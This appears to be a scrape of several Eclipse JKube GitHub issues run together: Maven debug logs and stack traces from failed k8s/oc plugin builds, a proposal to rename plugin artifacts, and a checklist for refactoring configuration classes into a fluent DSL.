[DEBUG] org.eclipse.jkube:jkube-kit-watcher-standard:jar:0.1.1-SNAPSHOT:compile
[DEBUG] Created new class realm plugin>org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT
[DEBUG] Importing foreign packages into class realm plugin>org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT
[DEBUG] Imported: < maven.api
[DEBUG] Populating class realm plugin>org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:k8s-maven-plugin:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-build-service-docker:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-build-maven:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-build-api:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-config-image:jar:0.1.1-SNAPSHOT
[DEBUG] Included: commons-codec:commons-codec:jar:1.13
[DEBUG] Included: org.apache.httpcomponents:httpclient:jar:4.5.6
[DEBUG] Included: org.apache.httpcomponents:httpcore:jar:4.4.10
[DEBUG] Included: commons-logging:commons-logging:jar:1.2
[DEBUG] Included: com.github.jnr:jnr-unixsocket:jar:0.12
[DEBUG] Included: com.github.jnr:jnr-ffi:jar:2.0.9
[DEBUG] Included: com.github.jnr:jffi:jar:1.2.11
[DEBUG] Included: com.github.jnr:jffi:jar:native:1.2.11
[DEBUG] Included: org.ow2.asm:asm:jar:5.0.3
[DEBUG] Included: org.ow2.asm:asm-commons:jar:5.0.3
[DEBUG] Included: org.ow2.asm:asm-analysis:jar:5.0.3
[DEBUG] Included: org.ow2.asm:asm-tree:jar:5.0.3
[DEBUG] Included: org.ow2.asm:asm-util:jar:5.0.3
[DEBUG] Included: com.github.jnr:jnr-x86asm:jar:1.0.2
[DEBUG] Included: com.github.jnr:jnr-constants:jar:0.9.1
[DEBUG] Included: com.github.jnr:jnr-enxio:jar:0.12
[DEBUG] Included: com.github.jnr:jnr-posix:jar:3.0.29
[DEBUG] Included: org.bouncycastle:bcpkix-jdk15on:jar:1.61
[DEBUG] Included: org.bouncycastle:bcprov-jdk15on:jar:1.61
[DEBUG] Included: org.apache.commons:commons-text:jar:1.1
[DEBUG] Included: org.eclipse.jkube:jkube-kit-enricher-generic:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-enricher-api:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-resource-service:jar:0.1.1-SNAPSHOT
[DEBUG] Included: com.google.code.findbugs:jsr305:jar:3.0.2
[DEBUG] Included: io.fabric8:ianaservicehelper:jar:0.0.1
[DEBUG] Included: com.google.code.gson:gson:jar:2.8.5
[DEBUG] Included: org.eclipse.jkube:jkube-kit-enricher-specific:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-generator-java-exec:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-generator-api:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.jboss.shrinkwrap:shrinkwrap-api:jar:1.2.6
[DEBUG] Included: org.jboss.shrinkwrap:shrinkwrap-spi:jar:1.2.6
[DEBUG] Included: org.jboss.shrinkwrap:shrinkwrap-impl-base:jar:1.2.6
[DEBUG] Included: org.eclipse.jkube:jkube-kit-generator-karaf:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-generator-webapp:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-generator-wildfly-swarm:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-thorntail:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-spring-boot:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-watcher-api:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-quarkus:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-common-maven:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-common:jar:0.1.1-SNAPSHOT
[DEBUG] Included: io.fabric8:kubernetes-client:jar:4.6.2
[DEBUG] Included: io.fabric8:kubernetes-model:jar:4.6.2
[DEBUG] Included: io.fabric8:kubernetes-model-common:jar:4.6.2
[DEBUG] Included: com.fasterxml.jackson.module:jackson-module-jaxb-annotations:jar:2.9.10
[DEBUG] Included: com.squareup.okhttp3:okhttp:jar:3.12.6
[DEBUG] Included: com.squareup.okio:okio:jar:1.15.0
[DEBUG] Included: com.squareup.okhttp3:logging-interceptor:jar:3.12.6
[DEBUG] Included: io.fabric8:zjsonpatch:jar:0.3.0
[DEBUG] Included: com.github.mifmif:generex:jar:1.0.2
[DEBUG] Included: dk.brics.automaton:automaton:jar:1.11-8
[DEBUG] Included: io.fabric8:openshift-client:jar:4.6.2
[DEBUG] Included: org.apache.commons:commons-lang3:jar:3.8.1
[DEBUG] Included: org.apache.commons:commons-compress:jar:1.19
[DEBUG] Included: commons-io:commons-io:jar:2.6
[DEBUG] Included: com.google.guava:guava:jar:27.0-jre
[DEBUG] Included: com.google.guava:failureaccess:jar:1.0
[DEBUG] Included: com.google.guava:listenablefuture:jar:9999.0-empty-to-avoid-conflict-with-guava
[DEBUG] Included: org.checkerframework:checker-qual:jar:2.5.2
[DEBUG] Included: com.google.errorprone:error_prone_annotations:jar:2.2.0
[DEBUG] Included: com.google.j2objc:j2objc-annotations:jar:1.1
[DEBUG] Included: org.codehaus.mojo:animal-sniffer-annotations:jar:1.17
[DEBUG] Included: com.fasterxml.jackson.core:jackson-core:jar:2.10.0
[DEBUG] Included: com.fasterxml.jackson.core:jackson-databind:jar:2.10.0
[DEBUG] Included: com.fasterxml.jackson.core:jackson-annotations:jar:2.10.0
[DEBUG] Included: com.fasterxml.jackson.dataformat:jackson-dataformat-yaml:jar:2.10.0
[DEBUG] Included: org.yaml:snakeyaml:jar:1.25
[DEBUG] Included: org.eclipse.jgit:org.eclipse.jgit:jar:5.3.0.201903130848-r
[DEBUG] Included: com.jcraft:jsch:jar:0.1.54
[DEBUG] Included: com.jcraft:jzlib:jar:1.1.1
[DEBUG] Included: com.googlecode.javaewah:JavaEWAH:jar:1.1.6
[DEBUG] Included: org.bouncycastle:bcpg-jdk15on:jar:1.60
[DEBUG] Included: javax.validation:validation-api:jar:2.0.1.Final
[DEBUG] Included: org.javassist:javassist:jar:3.20.0-GA
[DEBUG] Included: com.networknt:json-schema-validator:jar:0.1.7
[DEBUG] Included: org.slf4j:slf4j-ext:jar:1.7.25
[DEBUG] Included: org.codehaus.plexus:plexus-interpolation:jar:1.24
[DEBUG] Included: org.sonatype.plexus:plexus-sec-dispatcher:jar:1.4
[DEBUG] Included: org.sonatype.plexus:plexus-cipher:jar:1.4
[DEBUG] Included: org.apache.maven:maven-builder-support:jar:3.5.4
[DEBUG] Included: org.apache.maven.resolver:maven-resolver-util:jar:1.1.1
[DEBUG] Included: org.apache.maven.shared:maven-shared-utils:jar:3.2.1
[DEBUG] Included: javax.enterprise:cdi-api:jar:1.0
[DEBUG] Included: org.eclipse.sisu:org.eclipse.sisu.inject:jar:0.3.3
[DEBUG] Included: com.google.inject:guice:jar:no_aop:4.2.0
[DEBUG] Included: aopalliance:aopalliance:jar:1.0
[DEBUG] Included: org.codehaus.plexus:plexus-archiver:jar:3.5
[DEBUG] Included: org.codehaus.plexus:plexus-utils:jar:3.0.24
[DEBUG] Included: org.codehaus.plexus:plexus-io:jar:3.0.0
[DEBUG] Included: org.iq80.snappy:snappy:jar:0.4
[DEBUG] Included: org.tukaani:xz:jar:1.6
[DEBUG] Included: org.apache.maven.plugins:maven-assembly-plugin:jar:3.1.1
[DEBUG] Included: org.apache.maven.shared:maven-artifact-transfer:jar:0.9.0
[DEBUG] Included: org.apache.maven.shared:file-management:jar:3.0.0
[DEBUG] Included: org.apache.maven.shared:maven-shared-io:jar:3.0.0
[DEBUG] Included: org.apache.maven.shared:maven-filtering:jar:3.1.1
[DEBUG] Included: org.sonatype.plexus:plexus-build-api:jar:0.0.7
[DEBUG] Included: org.apache.maven:maven-archiver:jar:3.2.0
[DEBUG] Included: org.apache.maven.shared:maven-common-artifact-filters:jar:3.1.0
[DEBUG] Included: org.codehaus.plexus:plexus-component-annotations:jar:1.5.4
[DEBUG] Included: org.sonatype.sisu:sisu-inject-bean:jar:1.4.2
[DEBUG] Included: org.sonatype.sisu:sisu-guice:jar:noaop:2.1.7
[DEBUG] Included: org.eclipse.jkube:jkube-kit-vertx:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-profiles:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.eclipse.jkube:jkube-kit-config-resource:jar:0.1.1-SNAPSHOT
[DEBUG] Included: org.apache.maven.plugin-tools:maven-plugin-annotations:jar:3.6.0
[DEBUG] Included: org.eclipse.jkube:jkube-kit-watcher-standard:jar:0.1.1-SNAPSHOT
[DEBUG] Configuring mojo org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build from plugin realm ClassRealm[plugin>org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT, parent: sun.misc.Launcher$AppClassLoader@7852e922]
[DEBUG] Configuring mojo 'org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build' with basic configurator -->
[DEBUG] (f) autoCreateCustomNetworks = false
[DEBUG] (f) buildRecreate = none
[DEBUG] (f) forcePull = false
[DEBUG] (s) name = rohankanojia/helloworld-java:0.1.1-SNAPSHOT
[DEBUG] (f) alias = hello-world
[DEBUG] (f) from = openjdk:latest
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 1.366 s
[INFO] Finished at: 2020-02-06T17:20:42+05:30
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build (default-cli) on project dmp-sample-helloworld: Unable to parse configuration of mojo org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build for parameter descriptorRef: Cannot find 'descriptorRef' in class java.lang.Object -> [Help 1]
org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build (default-cli) on project dmp-sample-helloworld: Unable to parse configuration of mojo org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build for parameter descriptorRef: Cannot find 'descriptorRef' in class java.lang.Object
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:215)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:498)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: org.apache.maven.plugin.PluginConfigurationException: Unable to parse configuration of mojo org.eclipse.jkube:k8s-maven-plugin:0.1.1-SNAPSHOT:build for parameter descriptorRef: Cannot find 'descriptorRef' in class java.lang.Object
at org.apache.maven.plugin.internal.DefaultMavenPluginManager.populatePluginFields (DefaultMavenPluginManager.java:665)
at org.apache.maven.plugin.internal.DefaultMavenPluginManager.getConfiguredMojo (DefaultMavenPluginManager.java:597)
at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:124)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:498)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
Caused by: org.codehaus.plexus.component.configurator.ComponentConfigurationException: Cannot find 'descriptorRef' in class java.lang.Object
at org.eclipse.sisu.plexus.CompositeBeanHelper.setProperty (CompositeBeanHelper.java:252)
at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.processConfiguration (ObjectWithFieldsConverter.java:101)
at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.fromConfiguration (ObjectWithFieldsConverter.java:57)
at org.eclipse.sisu.plexus.CompositeBeanHelper.convertProperty (CompositeBeanHelper.java:273)
at org.eclipse.sisu.plexus.CompositeBeanHelper.setProperty (CompositeBeanHelper.java:210)
at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.processConfiguration (ObjectWithFieldsConverter.java:101)
at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.fromConfiguration (ObjectWithFieldsConverter.java:57)
at org.eclipse.sisu.plexus.CompositeBeanHelper.convertProperty (CompositeBeanHelper.java:273)
at org.eclipse.sisu.plexus.CompositeBeanHelper.setProperty (CompositeBeanHelper.java:210)
at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.processConfiguration (ObjectWithFieldsConverter.java:101)
at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.fromConfiguration (ObjectWithFieldsConverter.java:57)
at org.codehaus.plexus.component.configurator.converters.composite.AbstractCollectionConverter.fromChildren (AbstractCollectionConverter.java:54)
at org.codehaus.plexus.component.configurator.converters.composite.CollectionConverter.fromConfiguration (CollectionConverter.java:68)
at org.eclipse.sisu.plexus.CompositeBeanHelper.convertProperty (CompositeBeanHelper.java:268)
at org.eclipse.sisu.plexus.CompositeBeanHelper.setProperty (CompositeBeanHelper.java:210)
at org.codehaus.plexus.component.configurator.converters.composite.ObjectWithFieldsConverter.processConfiguration (ObjectWithFieldsConverter.java:101)
at org.codehaus.plexus.component.configurator.BasicComponentConfigurator.configureComponent (BasicComponentConfigurator.java:34)
at org.apache.maven.plugin.internal.DefaultMavenPluginManager.populatePluginFields (DefaultMavenPluginManager.java:635)
at org.apache.maven.plugin.internal.DefaultMavenPluginManager.getConfiguredMojo (DefaultMavenPluginManager.java:597)
at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo (DefaultBuildPluginManager.java:124)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:210)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:156)
at org.apache.maven.lifecycle.internal.MojoExecutor.execute (MojoExecutor.java:148)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:117)
at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject (LifecycleModuleBuilder.java:81)
at org.apache.maven.lifecycle.internal.builder.singlethreaded.SingleThreadedBuilder.build (SingleThreadedBuilder.java:56)
at org.apache.maven.lifecycle.internal.LifecycleStarter.execute (LifecycleStarter.java:128)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:305)
at org.apache.maven.DefaultMaven.doExecute (DefaultMaven.java:192)
at org.apache.maven.DefaultMaven.execute (DefaultMaven.java:105)
at org.apache.maven.cli.MavenCli.execute (MavenCli.java:957)
at org.apache.maven.cli.MavenCli.doMain (MavenCli.java:289)
at org.apache.maven.cli.MavenCli.main (MavenCli.java:193)
at sun.reflect.NativeMethodAccessorImpl.invoke0 (Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke (Method.java:498)
at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced (Launcher.java:282)
at org.codehaus.plexus.classworlds.launcher.Launcher.launch (Launcher.java:225)
at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode (Launcher.java:406)
at org.codehaus.plexus.classworlds.launcher.Launcher.main (Launcher.java:347)
[ERROR]
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/PluginConfigurationException
~/work/repos/jkube-imageconfig-sample : $
Right now we have plugin artifactIds
set to k8s-maven-plugin
and oc-maven-plugin
. We should rename it to kubernetes-maven-plugin
since it would make it easier to get searched on maven central. But we should also preserve current plugin prefixes (k8s
and oc
). It's possible to do it as mentioned on this StackOverflow post.
All configuration model classes should be refactored to provide a consistent fluent DSL interface.
jkube-kit-common
modeljkube-kit-common
modeljkube-kit-build-service-docker
configuration modeljkube-kit-common
configuration modeljkube-kit-config-image
configuration modeljkube-kit-config-resource
configuration modeljkube-kit-config-service
configuration modeljkube-kit-maven-enricher-api
configuration model > rename artifact (jkube-kit)jkube-kit-maven-generator-api
configuration model > rename artifact (jkube-kit)jkube-kit-watcher-api
configuration modelI get the following error when trying to use the "registry.access.redhat.com/redhat-openjdk-18/openjdk18-openshift:latest" builder image.
[ERROR] Failed to execute goal org.eclipse.jkube:oc-maven-plugin:0.1.1:build (default-cli) on project sample: Failed to execute the build: Unable to build the image using the OpenShift build service: NullPointerException -> [Help 1]
<generator>
<includes>
<include>spring-boot</include>
</includes>
<config>
<spring-boot>
<alias>spring-boot</alias>
<from>registry.access.redhat.com/redhat-openjdk-18/openjdk18-openshift:latest</from>
</spring-boot>
</config>
</generator>
This works fine for kubernetes strategy.
Here is the maven Debug output
โ sample git:(master) โ mvn oc:build -P openshift -X
Apache Maven 3.6.1 (d66c9c0b3152b2e69ee9bac180bb8fcc8e6af555; 2019-04-04T14:00:29-05:00)
Maven home: /usr/local/Cellar/maven/3.6.1/libexec
Java version: 1.8.0_212, vendor: AdoptOpenJDK, runtime: /Library/Java/JavaVirtualMachines/adoptopenjdk-8.jdk/Contents/Home/jre
Default locale: en_US, platform encoding: UTF-8
OS name: "mac os x", version: "10.15.3", arch: "x86_64", family: "mac"
[DEBUG] Created new class realm maven.api
[DEBUG] Importing foreign packages into class realm maven.api
[DEBUG] Imported: javax.annotation.* < plexus.core
[DEBUG] Imported: javax.annotation.security.* < plexus.core
[DEBUG] Imported: javax.enterprise.inject.* < plexus.core
[DEBUG] Imported: javax.enterprise.util.* < plexus.core
[DEBUG] Imported: javax.inject.* < plexus.core
[DEBUG] Imported: org.apache.maven.* < plexus.core
[DEBUG] Imported: org.apache.maven.artifact < plexus.core
[DEBUG] Imported: org.apache.maven.classrealm < plexus.core
[DEBUG] Imported: org.apache.maven.cli < plexus.core
[DEBUG] Imported: org.apache.maven.configuration < plexus.core
[DEBUG] Imported: org.apache.maven.exception < plexus.core
[DEBUG] Imported: org.apache.maven.execution < plexus.core
[DEBUG] Imported: org.apache.maven.execution.scope < plexus.core
[DEBUG] Imported: org.apache.maven.lifecycle < plexus.core
[DEBUG] Imported: org.apache.maven.model < plexus.core
[DEBUG] Imported: org.apache.maven.monitor < plexus.core
[DEBUG] Imported: org.apache.maven.plugin < plexus.core
[DEBUG] Imported: org.apache.maven.profiles < plexus.core
[DEBUG] Imported: org.apache.maven.project < plexus.core
[DEBUG] Imported: org.apache.maven.reporting < plexus.core
[DEBUG] Imported: org.apache.maven.repository < plexus.core
[DEBUG] Imported: org.apache.maven.rtinfo < plexus.core
[DEBUG] Imported: org.apache.maven.settings < plexus.core
[DEBUG] Imported: org.apache.maven.toolchain < plexus.core
[DEBUG] Imported: org.apache.maven.usability < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.* < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.authentication < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.authorization < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.events < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.observers < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.proxy < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.repository < plexus.core
[DEBUG] Imported: org.apache.maven.wagon.resource < plexus.core
[DEBUG] Imported: org.codehaus.classworlds < plexus.core
[DEBUG] Imported: org.codehaus.plexus.* < plexus.core
[DEBUG] Imported: org.codehaus.plexus.classworlds < plexus.core
[DEBUG] Imported: org.codehaus.plexus.component < plexus.core
[DEBUG] Imported: org.codehaus.plexus.configuration < plexus.core
[DEBUG] Imported: org.codehaus.plexus.container < plexus.core
[DEBUG] Imported: org.codehaus.plexus.context < plexus.core
[DEBUG] Imported: org.codehaus.plexus.lifecycle < plexus.core
[DEBUG] Imported: org.codehaus.plexus.logging < plexus.core
[DEBUG] Imported: org.codehaus.plexus.personality < plexus.core
[DEBUG] Imported: org.codehaus.plexus.util.xml.Xpp3Dom < plexus.core
[DEBUG] Imported: org.codehaus.plexus.util.xml.pull.XmlPullParser < plexus.core
[DEBUG] Imported: org.codehaus.plexus.util.xml.pull.XmlPullParserException < plexus.core
[DEBUG] Imported: org.codehaus.plexus.util.xml.pull.XmlSerializer < plexus.core
[DEBUG] Imported: org.eclipse.aether.* < plexus.core
[DEBUG] Imported: org.eclipse.aether.artifact < plexus.core
[DEBUG] Imported: org.eclipse.aether.collection < plexus.core
[DEBUG] Imported: org.eclipse.aether.deployment < plexus.core
[DEBUG] Imported: org.eclipse.aether.graph < plexus.core
[DEBUG] Imported: org.eclipse.aether.impl < plexus.core
[DEBUG] Imported: org.eclipse.aether.installation < plexus.core
[DEBUG] Imported: org.eclipse.aether.internal.impl < plexus.core
[DEBUG] Imported: org.eclipse.aether.metadata < plexus.core
[DEBUG] Imported: org.eclipse.aether.repository < plexus.core
[DEBUG] Imported: org.eclipse.aether.resolution < plexus.core
[DEBUG] Imported: org.eclipse.aether.spi < plexus.core
[DEBUG] Imported: org.eclipse.aether.transfer < plexus.core
[DEBUG] Imported: org.eclipse.aether.version < plexus.core
[DEBUG] Imported: org.fusesource.jansi.* < plexus.core
[DEBUG] Imported: org.slf4j.* < plexus.core
[DEBUG] Imported: org.slf4j.event.* < plexus.core
[DEBUG] Imported: org.slf4j.helpers.* < plexus.core
[DEBUG] Imported: org.slf4j.spi.* < plexus.core
[DEBUG] Populating class realm maven.api
[INFO] Error stacktraces are turned on.
[DEBUG] Message scheme: color
[DEBUG] Message styles: debug info warning error success failure strong mojo project
[DEBUG] Reading global settings from /usr/local/Cellar/maven/3.6.1/libexec/conf/settings.xml
[DEBUG] Reading user settings from /Users/[email protected]/.m2/settings.xml
[DEBUG] Reading global toolchains from /usr/local/Cellar/maven/3.6.1/libexec/conf/toolchains.xml
[DEBUG] Reading user toolchains from /Users/[email protected]/.m2/toolchains.xml
[DEBUG] Using local repository at /Users/[email protected]/.m2/repository
[DEBUG] Using manager EnhancedLocalRepositoryManager with priority 10.0 for /Users/[email protected]/.m2/repository
[INFO] Scanning for projects...
[DEBUG] Extension realms for project com.ibm.gts.aro:sample:jar:0.0.1-SNAPSHOT: (none)
[DEBUG] Looking up lifecycle mappings for packaging jar from ClassRealm[plexus.core, parent: null]
[DEBUG] Extension realms for project org.springframework.boot:spring-boot-starter-parent:pom:2.2.4.RELEASE: (none)
[DEBUG] Looking up lifecycle mappings for packaging pom from ClassRealm[plexus.core, parent: null]
[DEBUG] Extension realms for project org.springframework.boot:spring-boot-dependencies:pom:2.2.4.RELEASE: (none)
[DEBUG] Looking up lifecycle mappings for packaging pom from ClassRealm[plexus.core, parent: null]
[DEBUG] Resolving plugin prefix oc from [org.apache.maven.plugins, org.codehaus.mojo]
[DEBUG] Resolved plugin prefix oc to org.eclipse.jkube:oc-maven-plugin from POM com.ibm.gts.aro:sample:jar:0.0.1-SNAPSHOT
[DEBUG] === REACTOR BUILD PLAN ================================================
[DEBUG] Project: com.ibm.gts.aro:sample:jar:0.0.1-SNAPSHOT
[DEBUG] Tasks: [oc:build]
[DEBUG] Style: Regular
[DEBUG] =======================================================================
[INFO]
[INFO] -----------------------< com.ibm.gts.aro:sample >-----------------------
[INFO] Building sample 0.0.1-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[DEBUG] Resolving plugin prefix oc from [org.apache.maven.plugins, org.codehaus.mojo]
[DEBUG] Resolved plugin prefix oc to org.eclipse.jkube:oc-maven-plugin from POM com.ibm.gts.aro:sample:jar:0.0.1-SNAPSHOT
[DEBUG] Lifecycle default -> [validate, initialize, generate-sources, process-sources, generate-resources, process-resources, compile, process-classes, generate-test-sources, process-test-sources, generate-test-resources, process-test-resources, test-compile, process-test-classes, test, prepare-package, package, pre-integration-test, integration-test, post-integration-test, verify, install, deploy]
[DEBUG] Lifecycle clean -> [pre-clean, clean, post-clean]
[DEBUG] Lifecycle site -> [pre-site, site, post-site, site-deploy]
[DEBUG] === PROJECT BUILD PLAN ================================================
[DEBUG] Project: com.ibm.gts.aro:sample:0.0.1-SNAPSHOT
[DEBUG] Dependencies (collect): []
[DEBUG] Dependencies (resolve): [compile]
[DEBUG] Repositories (dependencies): [central (https://repo.maven.apache.org/maven2, default, releases)]
[DEBUG] Repositories (plugins) : [central (https://repo.maven.apache.org/maven2, default, releases)]
[DEBUG] -----------------------------------------------------------------------
[DEBUG] Goal: org.eclipse.jkube:oc-maven-plugin:0.1.1:build (default-cli)
[DEBUG] Style: Regular
[DEBUG] Configuration: <?xml version="1.0" encoding="UTF-8"?>
<configuration>
<apiVersion>${docker.apiVersion}</apiVersion>
<autoCreateCustomNetworks default-value="false">${docker.autoCreateCustomNetworks}</autoCreateCustomNetworks>
<autoPull>${docker.autoPull}</autoPull>
<buildRecreate default-value="none">${jkube.build.recreate}</buildRecreate>
<buildStrategy>${jkube.build.strategy}</buildStrategy>
<certPath>${docker.certPath}</certPath>
<containerNamePattern>${docker.containerNamePattern}</containerNamePattern>
<dockerHost>${docker.host}</dockerHost>
<environment>${jkube.environment}</environment>
<filter>${docker.filter}</filter>
<forcePull default-value="false">${jkube.build.forcePull}</forcePull>
<generator>
<includes>
<include>spring-boot</include>
</includes>
<config>
<spring-boot>
<alias>spring-boot</alias>
<from>registry.access.redhat.com/redhat-openjdk-18/openjdk18-openshift:latest</from>
</spring-boot>
</config>
</generator>
<imagePullPolicy>${docker.imagePullPolicy}</imagePullPolicy>
<keepContainer default-value="false">${docker.keepContainer}</keepContainer>
<keepRunning default-value="false">${docker.keepRunning}</keepRunning>
<logDate>${docker.logDate}</logDate>
<logStdout default-value="false">${docker.logStdout}</logStdout>
<maxConnections default-value="100">${docker.maxConnections}</maxConnections>
<mode>${jkube.mode}</mode>
<openshiftPullSecret default-value="pullsecret-jkube">${jkube.build.pullSecret}</openshiftPullSecret>
<outputDirectory default-value="target/docker">${docker.target.dir}</outputDirectory>
<profile>${jkube.profile}</profile>
<project default-value="${project}"/>
<pullRegistry>${docker.pull.registry}</pullRegistry>
<reactorProjects default-value="${reactorProjects}"/>
<registry>${docker.registry}</registry>
<removeVolumes default-value="false">${docker.removeVolumes}</removeVolumes>
<resourceDir default-value="${basedir}/src/main/jkube">${jkube.resourceDir}</resourceDir>
